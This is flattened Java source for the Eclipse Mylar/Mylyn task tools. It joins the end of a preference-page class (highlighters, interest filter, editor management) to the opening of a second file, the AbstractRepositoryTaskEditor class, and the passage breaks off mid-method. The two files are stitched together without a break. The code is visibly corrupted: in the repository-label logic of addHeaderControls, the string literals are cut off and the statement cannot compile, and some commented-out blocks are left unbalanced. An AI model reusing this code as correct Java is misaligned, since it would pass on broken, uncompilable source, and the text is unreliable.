colorDialogEditor; editors[2] = new ComboBoxCellEditor(table, TYPE_ARRAY, SWT.READ_ONLY); tableViewer.setCellEditors(editors); tableViewer.setCellModifier(new HighlighterCellModifier()); } private void createAddRemoveButtons(Composite parent) { Composite addRemoveComposite = new Composite(parent, SWT.LEAD); addRemoveComposite.setLayout(new GridLayout(2, false)); Button add = new Button(addRemoveComposite, SWT.PUSH | SWT.CENTER); add.setText("Add"); GridData gridData = new GridData(GridData.HORIZONTAL_ALIGN_BEGINNING); gridData.widthHint = 80; add.setLayoutData(gridData); add.addSelectionListener(new SelectionAdapter() { @Override public void widgetSelected(SelectionEvent e) { Highlighter hl = MylarUiPlugin.getDefault().getHighlighterList().addHighlighter(); contentProvider.addHighlighter(hl); } }); Button delete = new Button(addRemoveComposite, SWT.PUSH | SWT.CENTER); delete.setText("Delete"); gridData = new GridData(GridData.HORIZONTAL_ALIGN_BEGINNING); gridData.widthHint = 80; delete.setLayoutData(gridData); delete.addSelectionListener(new SelectionAdapter() { @Override public void widgetSelected(SelectionEvent e) { Highlighter hl = (Highlighter) ((IStructuredSelection) tableViewer.getSelection()).getFirstElement(); if (hl != null) { MylarUiPlugin.getDefault().getHighlighterList().removeHighlighter(hl); contentProvider.removeHighlighter(hl); } } }); } private void createExclusionFilterControl(Composite parent) { Group exclusionControl = new Group(parent, SWT.SHADOW_ETCHED_IN); exclusionControl.setLayout(new GridLayout(1, false)); exclusionControl.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); exclusionControl.setText("Interest Filter"); Label label = new Label(exclusionControl, SWT.LEFT); label.setText("Exclusion pattern, matches will always be shown (e.g. build*.xml):"); exclusionFieldEditor = new StringFieldEditor("", "", StringFieldEditor.UNLIMITED, exclusionControl); String text = getPreferenceStore().getString(MylarUiPrefContstants.INTEREST_FILTER_EXCLUSION); if (text != null) exclusionFieldEditor.setStringValue(text); return; } private void createEditorsSection(Composite parent) { Group group = new Group(parent, SWT.SHADOW_ETCHED_IN); group.setLayout(new GridLayout(2, false)); group.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); group.setText("Editor Management"); manageEditorsButton = new Button(group, SWT.CHECK); manageEditorsButton.setText("Enable auto editor opening/closing with context activation. "); manageEditorsButton.setSelection(getPreferenceStore().getBoolean(MylarUiPrefContstants.AUTO_MANAGE_EDITORS)); Composite numComposite = new Composite(group, SWT.NULL); autoOpenEditorsNum = new IntegerFieldEditor("", "Max to open: ", numComposite, 4); autoOpenEditorsNum.setErrorMessage("Must be an integer"); int num = getPreferenceStore().getInt(MylarUiPrefContstants.AUTO_MANAGE_EDITORS_OPEN_NUM); if (num > 0) { autoOpenEditorsNum.setStringValue("" + num); autoOpenEditorsNum.setEmptyStringAllowed(false); } String message = "See <a>''{0}''</a> for the workbench max open editors setting."; new PreferenceLinkArea(group, SWT.NONE, "org.eclipse.ui.preferencePages.Editors", message, (IWorkbenchPreferenceContainer) getContainer(), null); new Label(group, SWT.NULL); return; } // private void createGammaSettingControl(Composite parent) { // Group gammaSettingComposite= new Group(null, SWT.SHADOW_ETCHED_IN); // gammaSettingComposite.setLayout(new RowLayout()); // gammaSettingComposite.setText("Gamma Setting"); // lightened = new Button(gammaSettingComposite, SWT.RADIO); // lightened.setText("Lightened"); // lightened.setSelection(getPreferenceStore().getBoolean(MylarUiPlugin.GAMMA_SETTING_LIGHTENED)); // standard = new Button(gammaSettingComposite, SWT.RADIO); // standard.setText("Standard"); // standard.setSelection(getPreferenceStore().getBoolean(MylarUiPlugin.GAMMA_SETTING_STANDARD)); // darkened = new Button(gammaSettingComposite, SWT.RADIO); // darkened.setText("Darkened"); // darkened.setSelection(getPreferenceStore().getBoolean(MylarUiPlugin.GAMMA_SETTING_DARKENED)); // return; }
package org.eclipse.mylyn.tasks.ui.editors; import java.io.File; import java.util.ArrayList; import java.util.Arrays; import java.util.Collections; import java.util.Comparator; import java.util.Date; import java.util.HashMap; import java.util.HashSet; import java.util.Iterator; import java.util.List; import java.util.Set; import org.eclipse.core.runtime.CoreException; import org.eclipse.core.runtime.IProgressMonitor; import org.eclipse.core.runtime.IStatus; import org.eclipse.core.runtime.NullProgressMonitor; import org.eclipse.core.runtime.Status; import org.eclipse.core.runtime.SubProgressMonitor; import org.eclipse.core.runtime.jobs.IJobChangeEvent; import org.eclipse.core.runtime.jobs.IJobChangeListener; import org.eclipse.core.runtime.jobs.Job; import org.eclipse.core.runtime.jobs.JobChangeAdapter; import org.eclipse.jface.action.Action; import org.eclipse.jface.action.ControlContribution; import org.eclipse.jface.action.IMenuListener; import org.eclipse.jface.action.IMenuManager; import org.eclipse.jface.action.IToolBarManager; import org.eclipse.jface.action.MenuManager; import org.eclipse.jface.action.Separator; import org.eclipse.jface.action.ToolBarManager; import org.eclipse.jface.dialogs.IMessageProvider; import org.eclipse.jface.dialogs.MessageDialog; import org.eclipse.jface.fieldassist.ContentProposalAdapter; import org.eclipse.jface.fieldassist.ControlDecoration; import org.eclipse.jface.fieldassist.FieldDecoration; import org.eclipse.jface.fieldassist.FieldDecorationRegistry; import org.eclipse.jface.fieldassist.IContentProposalProvider; import org.eclipse.jface.fieldassist.TextContentAdapter; import org.eclipse.jface.layout.GridDataFactory; import org.eclipse.jface.resource.JFaceResources; import org.eclipse.jface.text.ITextListener; import org.eclipse.jface.text.Region; import org.eclipse.jface.text.TextEvent; import org.eclipse.jface.text.TextViewer; import org.eclipse.jface.text.hyperlink.IHyperlink; import org.eclipse.jface.util.SafeRunnable; import org.eclipse.jface.viewers.ColumnViewerToolTipSupport; import org.eclipse.jface.viewers.DoubleClickEvent; import org.eclipse.jface.viewers.IDoubleClickListener; import org.eclipse.jface.viewers.ILabelProvider; import org.eclipse.jface.viewers.ISelection; import org.eclipse.jface.viewers.ISelectionChangedListener; import org.eclipse.jface.viewers.ISelectionProvider; import org.eclipse.jface.viewers.LabelProvider; import org.eclipse.jface.viewers.SelectionChangedEvent; import org.eclipse.jface.viewers.StructuredSelection; import org.eclipse.jface.viewers.TableViewer; import org.eclipse.jface.viewers.Viewer; import org.eclipse.jface.viewers.ViewerSorter; import org.eclipse.jface.window.ToolTip; import org.eclipse.mylyn.internal.tasks.core.CommentQuoter; import org.eclipse.mylyn.internal.tasks.ui.PersonProposalLabelProvider; import org.eclipse.mylyn.internal.tasks.ui.PersonProposalProvider; import org.eclipse.mylyn.internal.tasks.ui.TaskListColorsAndFonts; import org.eclipse.mylyn.internal.tasks.ui.TasksUiImages; import org.eclipse.mylyn.internal.tasks.ui.actions.AttachFileAction; import org.eclipse.mylyn.internal.tasks.ui.actions.CopyAttachmentToClipboardJob; import org.eclipse.mylyn.internal.tasks.ui.actions.DownloadAttachmentJob; import org.eclipse.mylyn.internal.tasks.ui.actions.SynchronizeEditorAction; import org.eclipse.mylyn.internal.tasks.ui.actions.TaskActivateAction; import org.eclipse.mylyn.internal.tasks.ui.actions.TaskDeactivateAction; import org.eclipse.mylyn.internal.tasks.ui.editors.AttachmentTableLabelProvider; import org.eclipse.mylyn.internal.tasks.ui.editors.AttachmentsTableContentProvider; import org.eclipse.mylyn.internal.tasks.ui.editors.ContentOutlineTools; import org.eclipse.mylyn.internal.tasks.ui.editors.IRepositoryTaskAttributeListener; import org.eclipse.mylyn.internal.tasks.ui.editors.IRepositoryTaskSelection; import org.eclipse.mylyn.internal.tasks.ui.editors.RepositoryAttachmentEditorInput; import org.eclipse.mylyn.internal.tasks.ui.editors.RepositoryTaskOutlineNode; import org.eclipse.mylyn.internal.tasks.ui.editors.RepositoryTaskOutlinePage; import org.eclipse.mylyn.internal.tasks.ui.editors.RepositoryTaskSelection; import org.eclipse.mylyn.internal.tasks.ui.editors.TaskUrlHyperlink; import org.eclipse.mylyn.internal.tasks.ui.views.ResetRepositoryConfigurationAction; import org.eclipse.mylyn.monitor.core.DateUtil; import org.eclipse.mylyn.monitor.core.StatusHandler; import org.eclipse.mylyn.tasks.core.AbstractRepositoryConnector; import org.eclipse.mylyn.tasks.core.AbstractTask; import org.eclipse.mylyn.tasks.core.AbstractTaskCategory; import org.eclipse.mylyn.tasks.core.AbstractTaskDataHandler; import org.eclipse.mylyn.tasks.core.ITaskListChangeListener; import org.eclipse.mylyn.tasks.core.RepositoryAttachment; import org.eclipse.mylyn.tasks.core.RepositoryOperation; import org.eclipse.mylyn.tasks.core.RepositoryStatus; import org.eclipse.mylyn.tasks.core.RepositoryTaskAttribute; import org.eclipse.mylyn.tasks.core.RepositoryTaskData; import org.eclipse.mylyn.tasks.core.TaskComment; import org.eclipse.mylyn.tasks.core.TaskContainerDelta; import org.eclipse.mylyn.tasks.core.TaskRepository; import org.eclipse.mylyn.tasks.core.AbstractTask.RepositoryTaskSyncState; import org.eclipse.mylyn.tasks.ui.AbstractDuplicateDetector; import org.eclipse.mylyn.tasks.ui.TasksUiPlugin; import org.eclipse.mylyn.tasks.ui.TasksUiUtil; import org.eclipse.mylyn.tasks.ui.search.SearchHitCollector; import org.eclipse.osgi.util.NLS; import org.eclipse.search.ui.NewSearchUI; import org.eclipse.swt.SWT; import org.eclipse.swt.browser.Browser; import org.eclipse.swt.browser.LocationAdapter; import org.eclipse.swt.browser.LocationEvent; import org.eclipse.swt.custom.CCombo; import org.eclipse.swt.custom.StackLayout; import org.eclipse.swt.custom.StyledText; import org.eclipse.swt.custom.VerifyKeyListener; import org.eclipse.swt.dnd.DND; import org.eclipse.swt.dnd.DropTarget; import org.eclipse.swt.dnd.FileTransfer; import org.eclipse.swt.dnd.TextTransfer; import org.eclipse.swt.dnd.Transfer; import org.eclipse.swt.events.ModifyEvent; import org.eclipse.swt.events.ModifyListener; import org.eclipse.swt.events.SelectionAdapter; import org.eclipse.swt.events.SelectionEvent; import org.eclipse.swt.events.SelectionListener; import org.eclipse.swt.events.VerifyEvent; import org.eclipse.swt.graphics.Color; import org.eclipse.swt.graphics.Cursor; import org.eclipse.swt.graphics.Font; import org.eclipse.swt.layout.GridData; import org.eclipse.swt.layout.GridLayout; import org.eclipse.swt.layout.RowLayout; import org.eclipse.swt.widgets.Button; import org.eclipse.swt.widgets.Composite; import org.eclipse.swt.widgets.Control; import org.eclipse.swt.widgets.Display; import org.eclipse.swt.widgets.Event; import org.eclipse.swt.widgets.FileDialog; import org.eclipse.swt.widgets.Label; import org.eclipse.swt.widgets.Listener; import org.eclipse.swt.widgets.Menu; import org.eclipse.swt.widgets.Table; import org.eclipse.swt.widgets.TableColumn; import org.eclipse.swt.widgets.Text; import org.eclipse.ui.IEditorDescriptor; import org.eclipse.ui.IEditorInput; import org.eclipse.ui.IEditorSite; import org.eclipse.ui.ISelectionListener; import org.eclipse.ui.IStorageEditorInput; import org.eclipse.ui.IWorkbenchActionConstants; import org.eclipse.ui.IWorkbenchPage; import org.eclipse.ui.IWorkbenchPart; import org.eclipse.ui.PartInitException; import org.eclipse.ui.PlatformUI; import org.eclipse.ui.fieldassist.ContentAssistCommandAdapter; import org.eclipse.ui.forms.IFormColors; import org.eclipse.ui.forms.IManagedForm; import org.eclipse.ui.forms.editor.FormEditor; import org.eclipse.ui.forms.events.ExpansionAdapter; import org.eclipse.ui.forms.events.ExpansionEvent; import org.eclipse.ui.forms.events.HyperlinkAdapter; import org.eclipse.ui.forms.events.HyperlinkEvent; import org.eclipse.ui.forms.widgets.ExpandableComposite; import org.eclipse.ui.forms.widgets.FormToolkit; import org.eclipse.ui.forms.widgets.Hyperlink; import org.eclipse.ui.forms.widgets.ImageHyperlink; import org.eclipse.ui.forms.widgets.ScrolledForm; import org.eclipse.ui.forms.widgets.Section; import org.eclipse.ui.internal.ObjectActionContributorManager; import org.eclipse.ui.keys.IBindingService; import org.eclipse.ui.themes.IThemeManager; import org.eclipse.ui.views.contentoutline.ContentOutline; import org.eclipse.ui.views.contentoutline.IContentOutlinePage; /** * Extend to provide customized task editing. * * NOTE: likely to change for 3.0 * * @author Mik Kersten * @author Rob Elves * @author Jeff Pound (Attachment work) * @author Steffen Pingel * @author Xiaoyang Guan (Wiki HTML preview) * @since 2.0 */ public abstract class AbstractRepositoryTaskEditor extends TaskFormPage { private static final String ERROR_NOCONNECTIVITY = "Unable to submit at this time. Check connectivity and retry."; private static final String LABEL_HISTORY = "History"; private static final String LABEL_REPLY = "Reply"; private static final String LABEL_JOB_SUBMIT = "Submitting to repository"; private static final String HEADER_DATE_FORMAT = "yyyy-MM-dd HH:mm"; private static final String ATTACHMENT_DEFAULT_NAME = "attachment"; private static final String CTYPE_ZIP = "zip"; private static final String CTYPE_OCTET_STREAM = "octet-stream"; private static final String CTYPE_TEXT = "text"; private static final String CTYPE_HTML = "html"; private static final String LABEL_BROWSER = "Browser"; private static final String LABEL_DEFAULT_EDITOR = "Default Editor"; private static final String LABEL_TEXT_EDITOR = "Text Editor"; // private static final String LABEL_NO_DETECTOR = "No duplicate detector available."; protected static final String CONTEXT_MENU_ID = "#MylynRepositoryEditor"; private FormToolkit toolkit; private ScrolledForm form; protected TaskRepository repository; private static final int RADIO_OPTION_WIDTH = 120; private static final Font TITLE_FONT = JFaceResources.getBannerFont(); protected static final Font TEXT_FONT = JFaceResources.getDefaultFont(); private static final int DESCRIPTION_WIDTH = 79 * 7; // 500; private static final int DESCRIPTION_HEIGHT = 10 * 14; protected static final int SUMMARY_HEIGHT = 20; private static final String LABEL_BUTTON_SUBMIT = "Submit"; private static final String LABEL_COPY_TO_CLIPBOARD = "Copy to Clipboard"; private static final String LABEL_SAVE = "Save..."; private static final String LABEL_SEARCH_DUPS = "Search"; private static final String LABEL_SELECT_DETECTOR = "Duplicate Detection"; private RepositoryTaskEditorInput editorInput; private TaskEditor parentEditor = null; private RepositoryTaskOutlineNode taskOutlineModel = null; private boolean expandedStateAttributes = false; protected StyledText summaryText; protected Button submitButton; private Table attachmentsTable; private TableViewer attachmentsTableViewer; private String[] attachmentsColumns = { "Description", "Type", "Creator", "Created" }; private int[] attachmentsColumnWidths = { 200, 100, 100, 200 }; private Composite editorComposite; protected TextViewer summaryTextViewer; private TextViewer newCommentTextViewer; private org.eclipse.swt.widgets.List ccList; private Section commentsSection; private Color colorIncoming; private boolean hasAttributeChanges = false; private boolean showAttachments = true; private boolean attachContextEnabled = true; protected Button searchForDuplicates; protected CCombo duplicateDetectorChooser; protected Label duplicateDetectorLabel; private boolean ignoreLocationEvents = false; /** * @author Raphael Ackermann (bug 195514) */ private class TabVerifyKeyListener implements VerifyKeyListener { public void verifyKey(VerifyEvent event) { // if there is a tab key, do not "execute" it and instead select the Status control if (event.keyCode == SWT.TAB) { event.doit = false; if (headerInfoComposite != null) { headerInfoComposite.setFocus(); } } } } protected enum SECTION_NAME { ATTRIBTUES_SECTION("Attributes"), ATTACHMENTS_SECTION("Attachments"), DESCRIPTION_SECTION("Description"), COMMENTS_SECTION( "Comments"), NEWCOMMENT_SECTION("New Comment"), ACTIONS_SECTION("Actions"), PEOPLE_SECTION("People"), RELATEDBUGS_SECTION( "Related Tasks"); private String prettyName; public String getPrettyName() { return prettyName; } SECTION_NAME(String prettyName) { this.prettyName = prettyName; } } private List<IRepositoryTaskAttributeListener> attributesListeners = new ArrayList<IRepositoryTaskAttributeListener>(); protected RepositoryTaskData taskData; protected final ISelectionProvider selectionProvider = new ISelectionProvider() { public void addSelectionChangedListener(ISelectionChangedListener listener) { selectionChangedListeners.add(listener); } public ISelection getSelection() { return new RepositoryTaskSelection(taskData.getId(), taskData.getRepositoryUrl(), taskData.getRepositoryKind(), "", true, taskData.getSummary()); } public void removeSelectionChangedListener(ISelectionChangedListener listener) { selectionChangedListeners.remove(listener); } public void setSelection(ISelection selection) { // No implementation. } }; private final ITaskListChangeListener TASKLIST_CHANGE_LISTENER = new ITaskListChangeListener() { public void containersChanged(Set<TaskContainerDelta> containers) { AbstractTask taskToRefresh = null; for (TaskContainerDelta taskContainerDelta : containers) { if (repositoryTask != null && repositoryTask.equals(taskContainerDelta.getContainer())) { if (taskContainerDelta.getKind().equals(TaskContainerDelta.Kind.CONTENT)) { taskToRefresh = (AbstractTask) taskContainerDelta.getContainer(); break; } } } if (taskToRefresh != null) { PlatformUI.getWorkbench().getDisplay().asyncExec(new Runnable() { public void run() { if (repositoryTask.getSynchronizationState() == RepositoryTaskSyncState.INCOMING || repositoryTask.getSynchronizationState() == RepositoryTaskSyncState.CONFLICT) { // MessageDialog.openInformation(AbstractTaskEditor.this.getSite().getShell(), // "Changed - " + repositoryTask.getSummary(), // "Editor will Test with new incoming // changes."); parentEditor.setMessage("Task has incoming changes, synchronize to view", IMessageProvider.WARNING); setSubmitEnabled(false); // updateContents(); // TasksUiPlugin.getSynchronizationManager().setTaskRead(repositoryTask, // true); // TasksUiPlugin.getTaskDataManager().clearIncoming( // repositoryTask.getHandleIdentifier()); } else { refreshEditor(); } } }); } } }; private List<ISelectionChangedListener> selectionChangedListeners = new ArrayList<ISelectionChangedListener>(); private IRepositoryTaskSelection lastSelected = null; /** * Focuses on form widgets when an item in the outline is selected. */ private final ISelectionListener selectionListener = new ISelectionListener() { public void selectionChanged(IWorkbenchPart part, ISelection selection) { if ((part instanceof ContentOutline) && (selection instanceof StructuredSelection)) { Object select = ((StructuredSelection) selection).getFirstElement(); if (select instanceof RepositoryTaskOutlineNode) { RepositoryTaskOutlineNode n = (RepositoryTaskOutlineNode) select; if (lastSelected != null && ContentOutlineTools.getHandle(n).equals(ContentOutlineTools.getHandle(lastSelected))) { // we don't need to set the selection if it is already // set return; } lastSelected = n; boolean highlight = true; if (n.getKey().equals(RepositoryTaskOutlineNode.LABEL_COMMENTS)) { highlight = false; } Object data = n.getData(); if (n.getKey().equals(RepositoryTaskOutlineNode.LABEL_NEW_COMMENT)) { selectNewComment(); } else if (n.getKey().equals(RepositoryTaskOutlineNode.LABEL_DESCRIPTION) && descriptionTextViewer.isEditable()) { focusDescription(); } else if (data != null) { select(data, highlight); } } part.setFocus(); } } }; private AbstractTask repositoryTask; private Set<RepositoryTaskAttribute> changedAttributes; private Menu menu; private SynchronizeEditorAction synchronizeEditorAction; private Action activateAction; private Action historyAction; private Action openBrowserAction; /** * Call upon change to attribute value * * @param attribute * changed attribute */ protected boolean attributeChanged(RepositoryTaskAttribute attribute) { if (attribute == null) { return false; } changedAttributes.add(attribute); markDirty(true); validateInput(); return true; } @Override public void init(IEditorSite site, IEditorInput input) { if (!(input instanceof RepositoryTaskEditorInput)) { return; } initTaskEditor(site, (RepositoryTaskEditorInput) input); if (taskData != null) { editorInput.setToolTipText(taskData.getLabel()); taskOutlineModel = RepositoryTaskOutlineNode.parseBugReport(taskData); } hasAttributeChanges = hasVisibleAttributeChanges(); TasksUiPlugin.getTaskListManager().getTaskList().addChangeListener(TASKLIST_CHANGE_LISTENER); } protected void initTaskEditor(IEditorSite site, RepositoryTaskEditorInput input) { changedAttributes = new HashSet<RepositoryTaskAttribute>(); editorInput = input; repositoryTask = editorInput.getRepositoryTask(); repository = editorInput.getRepository(); taskData = editorInput.getTaskData(); connector = TasksUiPlugin.getRepositoryManager().getRepositoryConnector(repository.getConnectorKind()); setSite(site); setInput(input); isDirty = false; } public AbstractTask getRepositoryTask() { return repositoryTask; } // @Override // public void markDirty(boolean dirty) { // if (repositoryTask != null) { // repositoryTask.setDirty(dirty); // super.markDirty(dirty); // /** // * Update task state // */ // protected void updateTask() { // if (taskData == null) // return; // if (repositoryTask != null) { // TasksUiPlugin.getSynchronizationManager().saveOutgoing(repositoryTask, changedAttributes); // if (parentEditor != null) { // parentEditor.notifyTaskChanged(); // markDirty(false); protected abstract void validateInput(); /** * Creates a new <code>AbstractTaskEditor</code>. */ public AbstractRepositoryTaskEditor(FormEditor editor) { // set the scroll increments so the editor scrolls normally with the // scroll wheel super(editor, "id", "label"); //$NON-NLS-1$ //$NON-NLS-2$ } protected void createFormContent(final IManagedForm managedForm) { IThemeManager themeManager = getSite().getWorkbenchWindow().getWorkbench().getThemeManager(); colorIncoming = themeManager.getCurrentTheme().getColorRegistry().get( TaskListColorsAndFonts.THEME_COLOR_TASKS_INCOMING_BACKGROUND); super.createFormContent(managedForm); form = managedForm.getForm(); toolkit = managedForm.getToolkit(); registerDropListener(form); // ImageDescriptor overlay = // TasksUiPlugin.getDefault().getOverlayIcon(repository.getKind()); // ImageDescriptor imageDescriptor = // TaskListImages.createWithOverlay(TaskListImages.REPOSITORY, overlay, // false, // false); // form.setImage(TaskListImages.getImage(imageDescriptor)); // toolkit.decorateFormHeading(form.getForm()); editorComposite = form.getBody(); GridLayout editorLayout = new GridLayout(); editorComposite.setLayout(editorLayout); editorComposite.setLayoutData(new GridData(GridData.FILL_BOTH)); if (taskData == null) { parentEditor.setMessage( "Task data not available. Press synchronize button (right) to retrieve latest data.", IMessageProvider.WARNING); } else { createSections(); } // setFormHeaderLabel(); addHeaderControls(); if (summaryText != null) { summaryText.setFocus(); } } // private void setFormHeaderLabel() { // AbstractRepositoryConnectorUi connectorUi = // TasksUiPlugin.getRepositoryUi(repository.getKind()); // kindLabel = ""; // if (connectorUi != null) { // kindLabel = connectorUi.getTaskKindLabel(repositoryTask); // String idLabel = ""; // if (repositoryTask != null) { // idLabel = repositoryTask.getTaskKey(); // } else if (taskData != null) { // idLabel = taskData.getId(); // if (taskData != null && taskData.isNew()) { // form.setText("New " + kindLabel); // } else if (idLabel != null) { // form.setText(kindLabel + " " + idLabel); // } else { // form.setText(kindLabel); // synchronizing to investigate possible resolution to bug#197355 private synchronized void addHeaderControls() { ControlContribution repositoryLabelControl = new ControlContribution("Title") { //$NON-NLS-1$ protected Control createControl(Composite parent) { Composite composite = toolkit.createComposite(parent); composite.setLayout(new RowLayout()); composite.setBackground(null); String label = repository.getRepositoryLabel(); if (label.indexOf(" label = label.substring((repository.getUrl().indexOf(" } Hyperlink link = new Hyperlink(composite, SWT.NONE); link.setText(label); link.setFont(TITLE_FONT); link.setForeground(toolkit.getColors().getColor(IFormColors.TITLE)); link.addHyperlinkListener(new HyperlinkAdapter() { @Override public void linkActivated(HyperlinkEvent e) { TasksUiUtil.openEditRepositoryWizard(repository); } }); return composite; } }; if (parentEditor.getTopForm() != null) { IToolBarManager toolBarManager = parentEditor.getTopForm().getToolBarManager(); // TODO: Remove? Added to debug bug#197355 toolBarManager.removeAll(); toolBarManager.add(repositoryLabelControl); fillToolBar(parentEditor.getTopForm().getToolBarManager()); if (repositoryTask != null && taskData != null && !taskData.isNew()) { activateAction = new Action() { @Override public void run() { if (!repositoryTask.isActive()) { setChecked(true); new TaskActivateAction().run(repositoryTask); } else { setChecked(false); new TaskDeactivateAction().run(repositoryTask); } } }; activateAction.setImageDescriptor(TasksUiImages.TASK_ACTIVE_CENTERED); activateAction.setToolTipText("Activate/Deactivate Task"); activateAction.setChecked(repositoryTask.isActive()); toolBarManager.add(new Separator("activation")); toolBarManager.add(activateAction); } toolBarManager.update(true); } } /** * Override for customizing the toolbar. * * @since 2.1 (NOTE: likely to change for 3.0) */ protected void fillToolBar(IToolBarManager toolBarManager) { if (taskData != null && !taskData.isNew()) { if (repositoryTask != null) { synchronizeEditorAction = new SynchronizeEditorAction(); synchronizeEditorAction.selectionChanged(new StructuredSelection(this)); toolBarManager.add(synchronizeEditorAction); } if (getHistoryUrl() != null) { historyAction = new Action() { @Override public void run() { TasksUiUtil.openUrl(getHistoryUrl(), false); } }; historyAction.setImageDescriptor(TasksUiImages.TASK_REPOSITORY_HISTORY); historyAction.setToolTipText(LABEL_HISTORY); toolBarManager.add(historyAction); } if (connector != null) { String taskUrl = connector.getTaskUrl(taskData.getRepositoryUrl(), taskData.getTaskKey()); if (taskUrl == null && repositoryTask != null && repositoryTask.hasValidUrl()) { taskUrl = repositoryTask.getUrl(); } final String taskUrlToOpen = taskUrl; if (taskUrlToOpen != null) { openBrowserAction = new Action() { @Override public void run() { TasksUiUtil.openUrl(taskUrlToOpen, false); } }; openBrowserAction.setImageDescriptor(TasksUiImages.BROWSER_OPEN_TASK); openBrowserAction.setToolTipText("Open with Web Browser"); toolBarManager.add(openBrowserAction); } } } } private void createSections() { createSummaryLayout(editorComposite); attributesSection = createSection(editorComposite, getSectionLabel(SECTION_NAME.ATTRIBTUES_SECTION)); attributesSection.setExpanded(expandedStateAttributes || hasAttributeChanges); Composite toolbarComposite = toolkit.createComposite(attributesSection); toolbarComposite.setBackground(null); RowLayout rowLayout = new RowLayout(); rowLayout.marginTop = 0; rowLayout.marginBottom = 0; toolbarComposite.setLayout(rowLayout); ResetRepositoryConfigurationAction repositoryConfigRefresh = new ResetRepositoryConfigurationAction() { @Override public void performUpdate(TaskRepository repository, AbstractRepositoryConnector connector, IProgressMonitor monitor) { PlatformUI.getWorkbench().getDisplay().asyncExec(new Runnable() { public void run() { setGlobalBusy(true); } }); try { super.performUpdate(repository, connector, monitor); if (connector != null) { TasksUiPlugin.getSynchronizationManager().synchronize(connector, repositoryTask, true, new JobChangeAdapter() { @Override public void done(IJobChangeEvent event) { PlatformUI.getWorkbench().getDisplay().asyncExec(new Runnable() { public void run() { refreshEditor(); } }); } }); } } catch (Exception e) { PlatformUI.getWorkbench().getDisplay().asyncExec(new Runnable() { public void run() { refreshEditor(); } }); } } }; repositoryConfigRefresh.setImageDescriptor(TasksUiImages.REPOSITORY_SYNCHRONIZE); repositoryConfigRefresh.selectionChanged(new StructuredSelection(repository)); repositoryConfigRefresh.setToolTipText("Refresh attributes"); ToolBarManager barManager = new ToolBarManager(SWT.FLAT); barManager.add(repositoryConfigRefresh); barManager.add(new Separator(IWorkbenchActionConstants.MB_ADDITIONS)); barManager.createControl(toolbarComposite); attributesSection.setTextClient(toolbarComposite); // Attributes Composite- this holds all the combo fields and text fields final Composite attribComp = toolkit.createComposite(attributesSection); attribComp.addListener(SWT.MouseDown, new Listener() { public void handleEvent(Event event) { Control focus = event.display.getFocusControl(); if (focus instanceof Text && ((Text) focus).getEditable() == false) { form.setFocus(); } } }); attributesSection.setClient(attribComp); GridLayout attributesLayout = new GridLayout(); attributesLayout.numColumns = 4; attributesLayout.horizontalSpacing = 5; attributesLayout.verticalSpacing = 4; attribComp.setLayout(attributesLayout); GridData attributesData = new GridData(GridData.FILL_BOTH); attributesData.horizontalSpan = 1; attributesData.grabExcessVerticalSpace = false; attribComp.setLayoutData(attributesData); createAttributeLayout(attribComp); createCustomAttributeLayout(attribComp); createRelatedBugsSection(editorComposite); if (showAttachments) { createAttachmentLayout(editorComposite); } createDescriptionLayout(editorComposite); createCommentLayout(editorComposite); createNewCommentLayout(editorComposite); Composite bottomComposite = toolkit.createComposite(editorComposite); bottomComposite.setLayout(new GridLayout(2, false)); GridDataFactory.fillDefaults().grab(true, false).applyTo(bottomComposite); createActionsLayout(bottomComposite); createPeopleLayout(bottomComposite); bottomComposite.pack(true); form.reflow(true); getSite().getPage().addSelectionListener(selectionListener); getSite().setSelectionProvider(selectionProvider); } private void removeSections() { menu = editorComposite.getMenu(); setMenu(editorComposite, null); for (Control control : editorComposite.getChildren()) { control.dispose(); } } /** * @author Raphael Ackermann (modifications) (bug 195514) */ protected void createSummaryLayout(Composite composite) { addSummaryText(composite); if (summaryTextViewer != null) { summaryTextViewer.prependVerifyKeyListener(new TabVerifyKeyListener()); } headerInfoComposite = toolkit.createComposite(composite); GridLayout headerLayout = new GridLayout(11, false); headerLayout.verticalSpacing = 1; headerLayout.marginHeight = 1; headerLayout.marginHeight = 1; headerLayout.marginWidth = 1; headerLayout.horizontalSpacing = 6; headerInfoComposite.setLayout(headerLayout); RepositoryTaskAttribute statusAtribute = taskData.getAttribute(RepositoryTaskAttribute.STATUS); addNameValue(headerInfoComposite, statusAtribute); toolkit.paintBordersFor(headerInfoComposite); RepositoryTaskAttribute priorityAttribute = taskData.getAttribute(RepositoryTaskAttribute.PRIORITY); addNameValue(headerInfoComposite, priorityAttribute); String idLabel = (repositoryTask != null) ? repositoryTask.getTaskKey() : taskData.getTaskKey(); if (idLabel != null) { Composite nameValue = toolkit.createComposite(headerInfoComposite); nameValue.setLayout(new GridLayout(2, false)); Label label = toolkit.createLabel(nameValue, "ID:");// .setFont(TITLE_FONT); label.setForeground(toolkit.getColors().getColor(IFormColors.TITLE)); // toolkit.createText(nameValue, idLabel, SWT.FLAT | SWT.READ_ONLY); Text text = new Text(nameValue, SWT.FLAT | SWT.READ_ONLY); toolkit.adapt(text, true, true); text.setText(idLabel); } String openedDateString = ""; String modifiedDateString = ""; final AbstractTaskDataHandler taskDataManager = connector.getTaskDataHandler(); if (taskDataManager != null) { Date created = taskData.getAttributeFactory().getDateForAttributeType( RepositoryTaskAttribute.DATE_CREATION, taskData.getCreated()); openedDateString = created != null ? DateUtil.getFormattedDate(created, HEADER_DATE_FORMAT) : ""; Date modified = taskData.getAttributeFactory().getDateForAttributeType( RepositoryTaskAttribute.DATE_MODIFIED, taskData.getLastModified()); modifiedDateString = modified != null ? DateUtil.getFormattedDate(modified, HEADER_DATE_FORMAT) : ""; } RepositoryTaskAttribute creationAttribute = taskData.getAttribute(RepositoryTaskAttribute.DATE_CREATION); if (creationAttribute != null) { Composite nameValue = toolkit.createComposite(headerInfoComposite); nameValue.setLayout(new GridLayout(2, false)); createLabel(nameValue, creationAttribute); // toolkit.createText(nameValue, openedDateString, SWT.FLAT | // SWT.READ_ONLY); Text text = new Text(nameValue, SWT.FLAT | SWT.READ_ONLY); toolkit.adapt(text, true, true); text.setText(openedDateString); } RepositoryTaskAttribute modifiedAttribute = taskData.getAttribute(RepositoryTaskAttribute.DATE_MODIFIED); if (modifiedAttribute != null) { Composite nameValue = toolkit.createComposite(headerInfoComposite); nameValue.setLayout(new GridLayout(2, false)); createLabel(nameValue, modifiedAttribute); // toolkit.createText(nameValue, modifiedDateString, SWT.FLAT | // SWT.READ_ONLY); Text text = new Text(nameValue, SWT.FLAT | SWT.READ_ONLY); 